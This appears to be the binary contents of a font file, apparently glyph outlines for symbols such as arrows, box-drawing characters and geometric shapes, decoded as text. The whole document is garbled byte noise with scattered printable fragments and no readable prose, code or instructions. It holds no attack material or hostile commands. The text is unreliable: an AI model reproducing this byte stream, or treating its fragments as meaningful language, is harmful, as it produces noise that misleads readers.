0&��|�}����A�0��Y��i�f�2�e\��`��������j0�^��_���������8c7V��w/
%5$w���\�?���&�C@��Wa���Ŗ���X��y/
55%$XC�&��?��\@�9����;�^aWV�w�	%&%5&&%&%5$7$7��p�˱���l�#����a����6�8������O]���ɗ�9�=}��V�w�	%56%6%55%$)�ޱ��p���M��a�����#��l���ܜ�8�6��˖}=�9����"]OV��w�*%#"'&'.#"5>32326&%&%5$7$7wK�OZqMg3O�IN�S5dK
t]F�J��l�#����a����;73
";@�<7 6<R��O]���ɗ�9�=}��V��w�*%#"'&'.#"5>3232655%$wK�OZqMg3O�IN�S5dK
t]F��)��a�����#��l��;73
";@�<7 6<R�˖}=�9����"]OV�[w�67&%'&'5$774�h�m��U��֠����G�c _eT�2��w��n��w����2"O0�B��j%V�[w�'567&'567&��h�m��U�*������c _eT�2Vw��nw��2��O0�BDj%X�y_%!"'&54763!!"3!y��Ɋ����D����_`�D����ƍ�����^`X�y_75!27654&#!5!2#XD�`_����DȊ���ɣ�`^�������ȋ�X��y> #"&'&5476;7!!!!"#'J��_+30TD����~K�9���#��

K����^+�#E��ƍ��5���p��5X��y> 32654'&'7+'7!5!!5!237RJ��_+30TD����~K�9��F��C

K�9���^+�#E��ƍ��5�����5Xy%!5%!"'&54763!!"3!y��!��Ɋ����D����_`�D�������ƍ�����^`Xy%!=!27654&#!5!2#y��D�`_����DȊ���ɪ����`^�������ȋ�X�,y�&%!!'7#5!7&'&5476;73!!!#"$U�rG�6�:qY���ȲG�5�����^��_=R���5��� Y��ƍ��5���p�&���`=X�,y�!++!!'7#5!7!5!&#!5!27327654'&'�92����D4V�qF�5�3������D&#I����`__� 2��ȋ����5�������5�9`^��`X�0y!%!'7!5!7#"'&54763!!"3!!y���R���|�Ɋ����D����_a�D��AQ���jf�����ƍ�����^`�5eX�0y"%!'7!5!7#!5!27654&#!5!2y���R���|��D�a_����DȊ��]zTQ���jf���`^�������nj^De���N3#%332653! &����������������1�����������N332653! &3##5#535�������������e�����������D�d��d�Xwy�1�/�3����ް2����/�3���01!!!!X!��w�����@�Xwy�1�/�3����ް2����/�3���01!5!!5y��w�������Xy�H�/�3���
�ް2��	��ް2����/�3�3�3���017!!!!!!X!��!��w�߸����Xy�J�/�3����ް2���	�ް
2����/�	3�����01%!5!5!!5y��!��w�����<�D�h�^r#!#r��@���Z��^r33!3^�����Z��Oi��3?2"&'&'&547676"2767>54&'&'3!!#!5!�ݾOO''''OO�ݾOO''''OO~�GE:;99;:EG�FF:;99;:Fތ����POO__pm__ONPPNO__mp__OO=9;�SP�;99;�PS�;9����Oi��372"&'&'&547676"2767>54&'&'!5�ݾOO''''OO�ݾOO''''OO~�GE:;99;:EG�FF:;99;:F�M�POO__pm__ONPPNO__mp__OO=9;�SP�;99;�PS�;9�Ռ�Oi��3?2"&'&'&547676"2767>54&'&'77''7�ݾOO''''OO�ݾOO''''OO~�GE:;99;:EG�FF:;99;:F�Bc��c��c��c��POO__pm__ONPPNO__mp__OO=9;�SP�;99;�PS�;9�c��c��c��c�Oi��372"&'&'&547676"2767>54&'&''�ݾOO''''OO�ݾOO''''OO~�GE:;99;:EG�FF:;99;:F,c�c�POO__pm__ONPPNO__mp__OO=9;�SP�;99;�PS�;9Kc�cOi��73#2"&'&'&547676"2767>54&'&'�ݾOO''''OO�ݾOO''''OO~�GE:;99;:EG�FF:;99;:F���POO__pm__ONPPNO__mp__OO=9;�SP�;99;�PS�;9Oi��2L2#"&546"326542"&'&'&547676"2767>54&'&'h7b%&'�qq���nNL88O�ݾOO''''OO�ݾOO''''OO~�GE:;99;:EG�FF:;99;:F�)'%`8n��qq��MpLM77�POO__pm__ONPPNO__mp__OO=9;�SP�;99;�PS�;9Oi��!'/7=E2"&'&'&547676%&'&'&
654'67676-�ݾOO''''OO�ݾOO''''OOf�:F-��T�1-F:���:E.����S�1.E:�POO__pm__ONPPNO__mp__OOA�Ϛ9FPQ�����9�.�9떖EQPD�19Oi��!;!!!!2"&'&'&547676"2767>54&'&'+{��{���ݾOO''''OO�ݾOO''''OO~�GE:;99;:EG�FF:;99;:F;gZf�POO__pm__ONPPNO__mp__OO=9;�SP�;99;�PS�;9Pj��.22"&'&'&54676"267>54&'&'&!5!�ݾ�NNON�ݾOO''NON-R�9;99;9FG��:;99;:FFx�m��P��pn�PNPPNP^_mp�ON<<9;�SQ�;:<9;�PS�;:�+�Pi��%!!!3!!#!5!��3��Ҍ8�Ȍ��7��������nj��6�Pi��%!!!!5��3��r�M������_��Pi��%!!!7			'��3�ͬcc��c����c
������#c��c��c��c	Pi��3#!!!���3����������Xy!!#y����Ӫ��Xy!!5!3��y�-�-��Xy!!5!!�C!�DZ����Xy!!5!���������ZX�yw	5�V����!��������X�yw7%X!�ߨ��Vw�^��^��Xy?
%!5
5y��y��y���!�������L�KXy?
7!!7-X!��!�ߨ{����?�����繷g��
7!6762"'&'$&"26i1[륢�S4�OsPOtO.�D/Y��R3B�PQqOO��LN#4&#"#6! N����������M���z�(����/N�7332653! &�����������;��z����M����i�g�	Y�������������/�`�n��1��03#�`����7	!!'	TS�T��S8�������X`y�!532767>32.#"#"&'y��J�F]t
Kd5S�NI�O3gMqZO�K���?<6 7<�@;"
37;���
!33���qj��}����+)�y�����
##��������y(,����}Z��w
#!"3!!"&5463!! )!"3!w�k:PP:��j������k��w��j����Q9:P������D{
|������Z��w
#!2654&#!5!2#!! )5!254#!Z�:PP:�k������j�y����i�����k�Q9:P�������������X�Ay
755%5!5X!��#���!��!��ʶ���������L�K��
��X�Ay
%
5	-5!!y��#��!��!��!��!�����K�L������V�Vw?

55!5!w��!��!��!���K�LV�Xy?
55%5!X!��#��!������������V�w�	$75$&%&%5$7$7�"�����n�����W����l���ܜ�8�6�s�˖}=�9�����]OV�w�	$'$'5%$5)�n����˱�#��l�ݷ�W�����6�8����0O]"�ɗ�9�=}��V��w)%*67&'&%&''&'57&%5$?7d�MjT��Vʥ��3˱��!������3��a�4m"cjX)3�S]�[��e�﹏�������3N@�%H�Z-�=}��k$V��w)$(6%'56?56%7$'57&%������D�>�����WwZ��N��(��۷+/m")3��3 �+S�i0�6��3hi��y�����je��˖�X�[y�3!!!'7#!	!P�Y���B�zr�Y�����h�?ݪ�@���?�����@X�[y�3!'7#5!!5!!P�Y�zr�Y�(���s����?���?ݪ����@�X�>y�!!!!!!'7!5!7!X!��w�� R`���R���g����f��jf��X�>y�%!'7!5!7!5!!5!!y���R���g��w��!�� R���jf���h��DfV��w?%%&'&#"5>327%5
%3267#"''43O�IN�S:Z0��!��!�x2XIF�JK�OQd>�3;@�<7ҧ�K���{�"<?�;7)��V��w?&-53267#"''&'&#"5>327V!��!�?E>XIF�JK�OQd>�C43O�IN�S:Z0����������"<?�;7)��';@�<7ԧV�Kw�.&'&#"5>323267#"''&%&%5$7$743O�IN�S61-N�SXIF�JK�OQdS����l�#����a��;@�<7W��"<?�;7)��X��O]���ɗ�9�=}��V�Kw�.&'&#"5>323267#"''55%$43O�IN�S61-N�SXIF�JK�OQdS�����a�����#��l;@�<7W��"<?�;7)��X�˖}=�9����"]OP�3#3#3#P��3���f����1��1����Ib���rLR�5����0z��J�.����?�	3	%!	����������=��yz���U�?>�	#	#h֣��ͣ��G�9���>�	3	3h�*�33�����8��>�	!!#	#���g�֣��ͣ�rc�G�9�>�
!!!!#	#���g��g�֣��ͣ�r�rc�G�9��)!##�����m����	##7����G�������9	33b������"�m�����!733Q�X�G����%��C!!3#���C�rrCr[� 
��C!!3#
��CrrCr[� %��~!!3#���C�rrCr�� 
��~!!3#
��CrrCr�� Xsy^!#y���^����ap$%%$����������������������~������������	����%6 %!&'&"1�1�2���*�z�z��`�XX���r�oGGn�Y
 	67"	�,�J5�P�P5J���X*7��7*#L��8��P"2642#"''7&546Ċ�nj�i56؝]�Q�B�ɉLJ��o3�N��E�Q�\|��G��+-7AJT35#"&546;5#"&46235462+32"&=54&#"3#"2653264&"2654&#�ς���YxxY����ς���ZxxZ������E1/EE0uu0EE`E�v/EDaEEaDE/���wZ��\Z�Ђ���ZwwZ����ЂZ\��Zw�u0EE`E�`E/1EE0E`EE0��u0EE1/EXsy^!3!y�ߨys�+��~!#!���r������~5!#�rr�S;+���;!!3��vrr������;)3!r�v;�S�Ll4732#"'&'.#"0��Pd@7+	h�$��TA6?&H������|���
#"&546323250���Pd@7+	h���$����DTA6?&Hk-kh�i�!!!#%!!h\��r�o�a��`�޾"��(�I

	!!	#37!#3'�Q����'��'�H���o99�Ƀ���o!�p���=�����⻻}(TI#!!7!#3'�l���)�����okk�Ƀ��=���r!r�����⻻+2��"#/;GS_kw�����������+7CO[gs����������!2#!"543!254#!"+"=4;2+"=4;27+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2%+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;22+"=4"=43+"=4;2+"=4;2"=43!2#��\\�K\=��Kl]��\�\\\]�ii��\][]\\\\\\\\]\\]\\\\\\x::f>]�Y�"\�I\\�\\�I��`LLMK\y>��>(�I

!!	3#)%3!'���-'��'������9�6�������������=�ûH���J7	h��H��H--J��JXy!5!!!!5!�D!�D����Z���P���4��!!!r�r�Z��m���4��!%!!5!5!5!!������m��r�����4��3#3#!%!!5!!��������o�����m��r��X�4��	!	!!	!����Z���S�;�����Z���$���m�������4��&�
��4��
'3276'&#"!#"'&'!!67632!��zzzz��zzzz��Iw����wHS�;��Hw����wI���΍GG�2�GG�$�_EXXE^��m��_DXXE_����3#%673#&'%676'&1rs�rs2��sr�sr��TTTT@TT��T|��B�B��@�B�)�B)�΍1�1@�41�2�1��t�D'	��
�X�By�3!!#!5!y�����	���]�������X�By�	3!!#!5���f�a]����<�������4��	!%!!��Y���b�m���5A���4��	!!!!�;�r���b�m�Y5A���4��!%!5!�������m��rX���a��e���4��
!%!	!���2����m��r�x��1�x�B���35!3!!#!B#Z�C���k����Z�F#Z���-ӠZB���3	'7!#!5!3!'7���Z�����l��D�Z#���Z��-Ӥ��Z���4��
!%!!5!!����Z��Z���m��rϠZnZ��4��
!!'7!!!'7�;�r��Z�����Z�m���Z��1X1��Z����'327#"'$%'3632#	6'&#"��zz=>�l��WW����s�PYX��2�灾�v��zz>��Gj���X�`O���X����������GX�4y!5!!5!y��e����Zrr^����Z%���333!#!!3�/���	�.�����^���+��^��k��k�4��	7!!#x��r�;r�c�/��Kr��m���u�4��%	!%!50!53!�������������y����m��rZ[z���Xy&'&47673!!5!64'<<<.LM.;�<+PN.;�����==R-�*�/K�O/'��-T�Q0�˪��1�.Xy	'!!#!5!'�"Z���A��B��Z$��Z����u��Z#�4��
!!%!!''!�;���GZ���Z�H���r���Z��E��Z�wXy�!!!5!!X!����D!�C����Z����%���3!#!3!###.�7����7/������^���+�����k��k�4��!	!!	3!x��S�;������ZK���{m����u��4��!	!%!#5!5!���"�����~�~�+����m��r��z[ZXy!5!5!!#&'&476654'#�D!�C<+PN.;�<.LM.�==�<<�}��}-T�P/� �.L�O/��/AJ/,EN*Xy!7!5!3!!7@��Z��B����A�Z��#Z������h�Z���4��
!7!)!7��Z������b���Z��m����E�Z����wZ����4��&

��4��
%	!3!5!�������y��;Ūy����_r���4�?'	��
����4��&
�
����4�D'	��
��,D$467632#4& #62"&$&"26�4:z�Ӄ:4���ር��♜��VuVRyV���8vu4��Dֆ���M����UTyRT���4��&�
����Z�^'	��R�4��!!!3#3#x�r�����Z��m����9��Xy�3#%3#!5!!?����ʲ�C!�D����$Z������3#%3#!#7!?�����9��hw�����M�q�����&R
����?��H&
�
��8��t��'	��
�����,3+33676767653#&'&'&'&��
V &�#$K
�9BU5>�=5^:;^D�`1o%".+��y 9
:C[����\l3;��b 89hbX��y3!!#"'&7633!!"��;���������;�yV__W9�����|���+��q�_i�h_��X�yH&a
��8��X�yH&!
��8X��y�	!!3#X!����Ścת���%��
 *!%#567!676&'&'&'&��|z*(2JE<iKH#&���GIJE���E���|-2
M3
+�O	
!
r�;���
?�9y�?p���

!X��y�*= 67 '&5677%"632327'&32767#"'&'.#"y�{h	p{�"zi	pi�E5
5dJt]BF�ZCE��F4
Zq
Mg3�ħ�������Ĩ1�P�$�s�
7%�����ے��s�3
!X��y3#"'#&'&#"5>323326yK�OGU�43O�IN�S52�^NF�z�;7 �(;?�<6��'=���'3#3!!#7#537�
�`?��+���0'��7ϺrSSr��4��!!!!3!!!'7#5!7!x�r���d���������d����eZ��m��n;fժ��hӬ��4��&*!!!#546?>54&#"5>323#x�r��=TZ>/�mN�b^�h��C^XE&���Z��m��]�b�RY;X1YnED�98��L�\VBT=/��Xy�673367##%.XhZv�rM�'���hx:�B��xv�`M]�P��d
H
���d�-D�bgd��
*Xy�633267#.'#%'X��r�<�;oj���/eE���}{SC5E%�r���I1�V�
�/��dj��6�`;#"'&'#5�"$lYo�RQ�`�+�.0�`b�;���VT{6#"&'#76&#"32��tt��f�,�n�䇅�����{������WS���<����������F���`&#"&'#"'&37676376'	�2K�U��X�K2��~)@V"�"V@)~`����{�gLHk�{A����>�oRy��Ro�>����4�y&�
���45{!%&'&#"!!32?# '&76!2!5!	%%cj�f_��[_f��MJOhk���en(',�g��
c\���\c���(����r���4�`&�
����4�`&
��F���y
*'&'&3273;#"'&''&'&767�,-�b=MJMU�Hi;c��(	#) Xn^T).\-��rv~��	��o���ik�*��%���1)0�T*XmY*��)���.��#5!!!#��o�o�.ڭ�%ۭ�&H���:07	%#"326=7#5#"&546;54&#"5>32h��H��H�#[]E>Vcii!fHat���LT5m4:j2O85%--J��J�??8?vh+��]85l[hmKDg/R��:953353!53!5!#"326=7#5#"&546;54&#"5>32as7s�9s��;��#[]E>Vcii!fHat���LT5m4:j2Op"��r�??8?vh+��]85l[hmKDg..R��:1=[%5!!5!#"326=7#5#"&546;54&#"5>32#"326757#5#"&546;5.#"5>32�0�;0�#[]E>Vcii!fHat���LT5m4:j2Op""[]E>Vbii"eIas���LS5m4:j2Op"�rrrr??8?vh+��]85l[hmKDg..R}??8?vh+��]85l[hmKDg..Rk��*.26:>B#5#"&546;54&#"5>32#"326=%=!!%%%5!55qi!fHat���LT5m4:j2O85%�#[]E>Vc��,��,�����,��,����]85l[hmKDg/R}??8?vh��y�y�rD�y�yy�y��rr�y�yR8~�4<DLTZ`%#5&'&'&''7&5475'7676767537'5676767'7&'&'&'5'7'%654�d3/D9�2��2�9D/3d4.E9�2��2�9E.42*	��	*2�2*	��	*2���*��8�8fWfEOPDfWg8��8fWeDPOEeWf8g*		ap�a		**		a���a		*�ba.43�ab-45F^��'04>2".33&'."#67>76#FV���ʓVV���ʓ��"v���v"Z��83Pv"�Υ"vP3�ʓVV���ʓVV�n��h<8PvDDvP8���"vP9��~?9Pv"F^��&0!4>2".7!&'."67>4'&h���V���ʓVV���ʓDvP47��9�;���;��74PvD"M���ʓVV���ʓVV����v"i	c;DD;g��"v��P	F^��	%7'32>4.#52".����V��F��oDv���vDDv�YoʓVV���ʓVS�w�V��F�_Y�vDDv���vDoV���ʓVV���4��!!!x�r�Z��m������#53�à�����Z�����0��������3#����s���#5��ˠА����W��eE�%3�����53�Z���������z
�����i������#0����s	����3#�à�Р˓���������[���m#!!����#��	q�����3#����s���!!��`��N�	u���m!5!��#����������z3#���z����z3!5!��`�z������m
#4763!!"ƺoy���eD9��uߑ��fW�����#'&%'53 763�:*e�nK��==Mn�e(� =��C���_A�Ec���H�<���
3!!"'&5�9De��{o����Vf����d����#3ƺ���	����m
4'&#!5!29De���yo��}�Wf���������&'&3!3#76�<(e�nM==��Kn�e*�!<����McE�A_�I����=���
3#!5!2765�o{���eD9���Ꮮ�fV����3�	��w��v%	!!!!55!#���u�X������
̼uu���]��]e��!	!!�;bc�;��$�<�:�.]�3!3:~�\T\�~�.��%�y��j�5!�j�����l!�X�����3��	����!�@�	��<j�5!!5!!5!r#�B#�B#j������<�l!!!!!r#�B#�B#X��X��X���m�333������mj��j��j���m!!!�@��@��@�mj��j��j��<j�53353353353<�x�x�x�j��������<�l3333333<�x�x�x�X��X��X��X���n�3333�������p��^����^���^����^�n!!!!�@��@��@��@p��^����^���^����^��!!�������l!!��l������!!��#������l!!��#�l�������!5!���j������l!!���X����!5!�$�j�����l!!�$�X��j��3!�-j�����3!�-m���j��!!�@�j������!!�@�m����j��5!3,�j�k������!3,�X����j�5!!�@j�k�����!!�@X�����3!!�-��	���������3!!�-��	��������	#!!!P@��j��������	33!!�P�-�#�k��������!!!�@�#�	���������	#!!!P@��m�������	33!!�P�-�#�l�������!!!�@�#�	���������!5!3��,��j�k�����!!3��,��X����	!5!!#���@P�j�k�����	!5!33�$,�P�j�k�������!5!!�$�@�j�k����	!!!#���@P�X�������	!!33�$,�P�X�����!!!�$�@�X����!5!!�����j�������l	!!!!���-��XV������l	!5!5!!��,��j�V�������l!!!�����X�������!5!!�$��#�j�������l	!!!!�$�#�XV������l	!5!5!!�$��#�j�V�������l!!!�$��#�X������j��5!3!,�-j�k�������	!3!!,�-��X���V����	5!3!!5,�-�3j�k��V����!3!,�-X����j��5!!!�@�j�k�������	!!!!�@�#X���V����	5!!!!5�@��j�k��V����!!!�@�X������#!5!3!����,�-j��j�k�������!!3!!��,�-��X���������!5!3!!��,�-��j�k��������!!3!!��,�-��X��������!5!!!!���@��j�k���������!5!3!!�$,�-�#�j�k���������!5!!!!�$�@�#�j�k���������
!!!!!#���@�#P�X���V������
#5!5!!!!P�$�@��V�k��������
!!33!!�$,�P�#�X��V�������
!5!533!!�$�P�-�#�j�V��������!!!!!���@��X��������!!3!!�$,�-�#�X��������!!!!!�$�@�#�X���������!5!!!!�$�@�#�j�k��������!!!!!�$�@�#�X����<j�5!35!<�y�j����<�l!!!���X��X������33���lU���TT�����!!�@��@lU���TT�������5!5!���������x�X�333x����	��	�����	!!!!��-��¬���Bx��	!!##xm�s������j��x���!!3!!xm�3�-�s�¬��j��B����	!5!5!5!��,��������>��X	5!###l���j���j��j��X�!5!!!5!��4l� �t,���>�������	3!!!�-��-��A���xj��	333!x����j��k���x���3!3!�������k�A����������	5!5!5!3,��,�������=��jX�	5!333����j�k��k�����X�5!35!3����̠��������=���3!!!!�-��-��	��A����Bx���333!!x�����s�	��	������x���	3!33!!�������-�sk�A���	��j��B����!5!5!5!3��,��,����������X�!5!333x�t�����j�k�	����X�5!3!5!33����t,������������	������!5!!5!�����4������B�����5!!###��s���j����j��j����	5!!5!3!!����t,�-�s��������j��B�����5!5!3!��,�-���X���A���j��5!333!�����j�k��k��������	5!5!333!����������X����k�A�����!5!5!5!3!!!!��,��,�-��-��������A����B����5!333!!###������s���j�k��k�����j��j����!!!!5!5!333!�-�s� �t,��������j��B��������k�A���43!!"��y��Y[�p��~|�����4&#!5!2[Y��x���p~|�������j��5!2653#xY[���j�~|q����j��!"&533!����[Yyj��q��|~���*m3YѲ�/�	Y�����*m#3*��/��	Y���*m#	#	3	3*����i������������S��jh5!|j�����3����?hj�5!h}j�����3����@��hl|X�����!�@���?h�l!h}X����!�@���@���l5!5!!5�i��j�V��V��333�P�P����?�@���l!!!�i��XV�V��#!#P@P����?�@�������	v����?!��?�����j!��j������!����k����!����@����!������!�������B!��B������!��	����F�!Z�	������!��	�����!�	����h�!|�	������!�	����*�!>�	������3��	����i���	~}�8m#'+/37;?53!5353!5353!5353!5353!5353!5353!5353!53�������������������������������������Z����6���������6����7����5����7����6������l#'+/37;?CGKOSW[_cgkosw53%5353535353535353%5353535353535353%5353535353535353%5353%5353%53�e����e��e����f����f��f����d����d��d��h�e�e�f�c�d�������!�����������������������!�����������������������!�����������������z�����������������
��m#A35#35#35#35#35#35#35#35#35#!#5#!5#!35#35#35#35!3h���̚�h���̚��̚�h���̚��̚�h���Ϛ��2��̙������Ϛ#�������������3���6������6������������B��	sB��F���	�Z��i�!}���@��i���	�}�����i�	������!!}}�	��@�@������&	�	�����!!!�������@�@����!!����������i���	�}�������&	�	�����!!!�}}������w!�N�<���w7!!!x�r�$��<���w3!254#!") ) x�����rVV���������V���������w&	�	����w!%!5!5!5!5!5!5!5!5!5!�������N�<rnrjrkrkrj���w!'3#3#3#3#3#��nn�jj�jj�ll�jjN�<r� � � � ����w#'+/37;?CGKOSW[_cg35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#35#!xjjjjjjjjjj�llllllllll�jjjjjjjjjj�jjjjjjjjjj�nnnnnnnnnn���j��k��k��j��nj��k��k��j��nj��k��k��j��nj��k��k��j��nj��k��k��j��n��<���w!37353535353��4��B`���J�l����Т���N�<0��������J�jL���[�F�/��������w!%35535#5#5#57#35�Њ4��`�J�M�l����Ў�O�N�<r3��B`���J�l����ѡ�� ����w	!%)-27;?CGKPTX\afjos%35'7'#7'7'#7'7'7'#7'7'7'37'75#7'7'7'7'7'75'7'7'7'37'%75'7'37'!�$J#�B"L!MLF"ELU�ELF�#EKALE!U�KLL�KLL�LKL�J$K#tK"M�KEK�LKK�KLL�KKL�KEK�J"�KLK�KLL�JLL�$NK$E#�EKE�N$E��H$L#'"L �LE"EL�ELE��"EKALE!�KKL�KKL�LKL��$K#tL"J�LEL�KKL�KKK�LKK�KEK�LR"�KLK�KLJ�LLJ�$K�E"R�EKE�$E��<����7!��������%!!!M6��r�6�X����8%!!�;��H��8!!!Y�S�;�bd��rHD���w!DHN�<D���w%!!!�d��rH$��<��8%!!��o4��H��8!!!a��S��o4�bd��rH���w	bcN�<���w7!	�o�H��bc$n� �<����7	����������%!	���s����������w�N�����w7	xo��r�\����������7���s����-M�<r2���s���7Ň�s���-x6��r�2���s���w!h���N����w%!	!h������Ŗn�������%!h�s�����!!h�<�sk�X���w�b�<���w	�o����Hp�Hb�<��������������X����������������#6������������w	bc��b�������w	����Z��bc���Z���Zb�������v	
�nn���6��5��bc��n����n�6��6b�������|
)7632#"'3276'&#"%632#"'��cccc��cccc���zzzz��zzzz��1����2�Ι���/�r99r�6r99q�̌GG�2�GG����XX��@�XXu�#\u"@��91��990	h������
����9%���-���|
3276'&#"%632#"'��zzzz��zzzz��1����2�Ι���.�̌GG�2�GG����XX��@�XX���|	'/7?G7&'&'6767&'&'7%'676727"'64'7&"'62&47�".$,=7-:*�,$)'e13-7c".$,=7-:*�,$."e*:-7�<x<K�Kr

w�%<x<K�K��

w�/&j %0:E"3FA*% */&j %0:E&/G:0% �w�9~9G�Grw�%9~9G�G���|
%/36%632#"'327&#"6767&'&61����2����&&&&�bbP�'''�g���XX��@�XX���
	�	qz��z�.�!�h	*	���|l���|
)732764'&#"7632#"'3276'&#"%632#"'�C"!"!DD!"!"�z===={{====���zzzz��zzzz��1����2�Ι���a�''�'��F##F��F##�̌GG�2�GG����XX��@�XX���|
6%632#"'1����2�Ι������XX��@�XX���|%276'&#%632#"'hzz��zz��1����2�Ι���'G�2�G����XX��@�XX���|"3$%632#"'hzz��zz��1����2�Ι���G��̌G���XX��@�XX���|'&#"%632#"'Q�zzzz�z1����2�Ι����GG�����XX��@�XX���|3276%632#"'��zzzz���1����2�Ι�����GG�����XX��@�XX���|"3276!%632#"'hzz��zzzz����1����2�Ι���G��̌GG�����XX��@�XX���|"!%632#"'hzz��1����2�Ι���G�����XX��@�XX7���|"'$%63�����0��TX���X7���|2#8��2�Κ�|X��@�Z����(32654&#"!?�|}��|}�����~��|{���v<�����(
67672"'327$%&#"!��zzzz��zzzz��1����2�Ι�������4�FG��΍FG�@�XX���XX��(�����(!#%&#")7632��Ι�����K�/�zzzz���`�XX����GG����3327$3!#"'&1����2���zzzz����XX�`����GG�7�|	%63"71��{y�`�X{G���7�|	2#'&#8��2{�{x|X����G7���	527638x{�{�ΚT{G����Z7���	"'$33�����{�y{TX�`��G�|%632#'&#"1����2z�zzzz�`�XX����GG������0332763#"'$z�zzzz�z�Ι�������GG����XX����w�N�<���w�N�<���w!�N����w!�v�<?��!32654&#"4632#"&z�cd��cd�;�}|��}|��e��cb��c|��{|�����w%!!!h����$��<���w7!!!x�r�$��<���w7!!x��$��<���w7!!x�r�$��<���w%!!!!!���I����Ir�$� ��<���w4632#"&!	�N88NO88M��o�H��bcj8MM87NM��n� �<���w%!	h��H��bc$n� �<���w7!	����bc$n� �<����
327$'&#"%632#"'k�~������~��>����?������:���II�L�II��޸[[��"�[[���w
!!!!!!����I�I��N�<��� �����w
!%!!5!!!����I)�� N�<r�r������w
!%!!!!!����I���)� N�<r��J(����w
!!!!!!����I����IN�<��� �*���|
 6%632#"'!3276'&'1����2�����^]���T�zzzz��^]���XX��@�XX�
6~�r�~GG�2�6
�����|
 6%632#"'%676'&#"!1����2����j]^��zzzz����]^���XX��@�XX'
6�2�GG~�r�~6
����|
 6%632#"'!&'&#"6767!1����2�Ι�����]^�zzzz-]^��S���XX��@�XX)�΍6
!�~GG�q
6~����|
 6%632#"'32767!&'&'1����2�Ι�����zzzz���^]��^]���XX��@�XX)�΍GG~�#
6���~6
�O���w7!!x6��r��6������w	%!#6�����6r�<���w7!x6��r�$6�X�<a
o7!!!�*��r*�d��a
o7!a
���[!�%!!!!��rrr���r���[!�7!�r[r�����w%!	#6���$6�X�<	"��1"*2:AI3#''%#&'52#"'&5476!!'5%!!'53'5%3'5%3#'N<<�.�0���/�#��E
�7$�L�4����z��8hY/�6.�0�<<1��y1�1��2�+��K�O�1H�P�====�f^1� .�1\��
��#>DJPV\bhn27654'&#"&7367'67675673#''5&'&'7&'%67'7&'67'%7&'&'%6767%&'�&$h%$%%34$&�1++XSAN@`�==�k>P
CRX++XYC
P>k�==�l?L
?Q�	oL+ �Nn���;P�?���;�@
��
nM���Nn�3%%%%34%&&%s==�`?J>PW,,WW?K?_�==�f?H?PW,,WU?H?^���<��=���Ke+cL�� 
mC��P`k�<��<!��4(0847632#"'&7327654#"&#%#&7&'67&'67!���󫪪���v����������Ӥ=65N'V[S�.U[R�󫬬��񫪪�񿉊��������
���ʯX[V[X[V[!��4(0847632#"'&7327654#"73$3&'67&'67!���󫪪���v����������Ѧ=6��3QNV[S�.U[R�󫬬��񫪪�񿉊�������w	��
�'X[V[X[V[!��4!)47632#"'&%#$''&'6%&'6!���󫪪���4>;D@KDzcngk�?dnhk�󫬬��񫪪��I�
�kpinipi
!��4"*2:AIX3#''%#&'52#"'&5476!!'5%!!'53'5%3'5%3#'32765'&#"M==�,�/���0�#��H
�8&�O�6��	��|��7iY0�6.�/�==e6a&i1r4��z0�1��2�+��K�N�2H�Q�>>>>�f^2�"/�1]���8`1"Y
4f2y��`�1B7#5#53'&'&54767&'&=33676=3#327654'&O&"}|f���z���g}}"&&"}�UQn$mQU�}"�$nQUVV{xVVUQ<"{��u^�^��\�
_u��{"#|�
zUOOUz
�|#YOT{zQPPQz{TO���@>)4'&#"3276&5476327#'#53'&�`_��__���_`�o����Š��q�������k�]^^]���YY���ň����Áh�g��f����@>'"3276'&'7#5373'#"'&5476j�__���_``_�����ߓq����Ŋ��q�YX��]]XY��f��h�h��Ĉ����Áj��0
'&'&376&+"'&5'476%7!�Z{z[ZZ[~\Y���������W��m�p��N#ZX[�[YZ[��P�������Qm��p#��T��G*��52764'&#"#463233#!5�sPQPPtrQP��yzg֏��LQQ�QPPQr��{{��t��|g��*#�"#53533#632#47654&#"#dd���i��qq��CB�igII�u������gzy�U�r}ppDt�PQs�_C��S
7"27654'&7#"&54767##53#533333#3##h.  @\ !  2(>>?ZW~>'3���|�}}���! -/@  /- !^'?XY??~YX?(F��}R}��h��h}��}hL��S<#5#535&'&'5'73'3#'73'676=35'73'13�|���e{vw}wwUATwx|xxS@Wwx}vv|d����|re{�Eus~~suE|VAKtrrt��@X{Ius~~suI�{dr|�*��! #!!!'!27674'&#��_�82��V�)�3{D�#M��HZ�W��{s{�?zK�8��QO##"'##565'##"/547?kM�� �,4N"D�F &Fi�?�JO���/FB!�O�
�{|�Im�<&��=���M2227632#&547636=4'&#"#4'&#"=�`
]��d���2�
c�B����U�;/�G;S��XM�B:��@B
ս�;7h���f%��
���#>�|�\��@���9��@O
	&&5	i�C�n:�^����O����	G
 ���%�2��O7236;2"'##'65##"'&5476;235&'&=476j�S
c1=E�O� ;�SC�FRʝT�6*F@E1�;O�+.`�1�62�V
���Yi�8/�D
;8[B�V�RP"<B+"'##565#+"'&575477;2732;276=4'&3&'"ih;F�(wQ"D�G".FW�C��Nf��By"
bO�DUq5��u4
P���ro�@
��|�S`�64��'<���kn�,�:y�!���@JD��O2367632#&5476;�_#KYo�h��M�2��EO�L)�XY�D<�6���f%��@O	&47i�9�)
�2\O��E��[r1��V2`g26;2"'##'65##"'&5476;2&'5476&+"3276733276=4/#"567654'&#"35&5m�V^2"�L
�<�TC�FR˝U�7* 2Q�;Ƌ
Xa�2p2@�^
DJ��F
�,aXj�-!�D�2V�9/m��.0�R
���Zj�9/�C
\� �V�
�7yM�5bom�&#�'p[?$�G���OQr!_�3#"/4?23D�-!��]U��F�+}{<��!/�3#'654'&'#"547326R��s9�W�5��[S�%3;B��[/OBC'��*�|<�j�_g�#"=4?2%#"=4?2���3ɧ%QM���?ˠ)TK���7�(�w7џ��5�s ?�|�O"'4723!#"5472!5���YA�>���RHI�O���q1 �ӫ�g
4���D%��3363'$6'"I+�����4��p��u��oS����^��* �
3%#'#3%#�';&��2
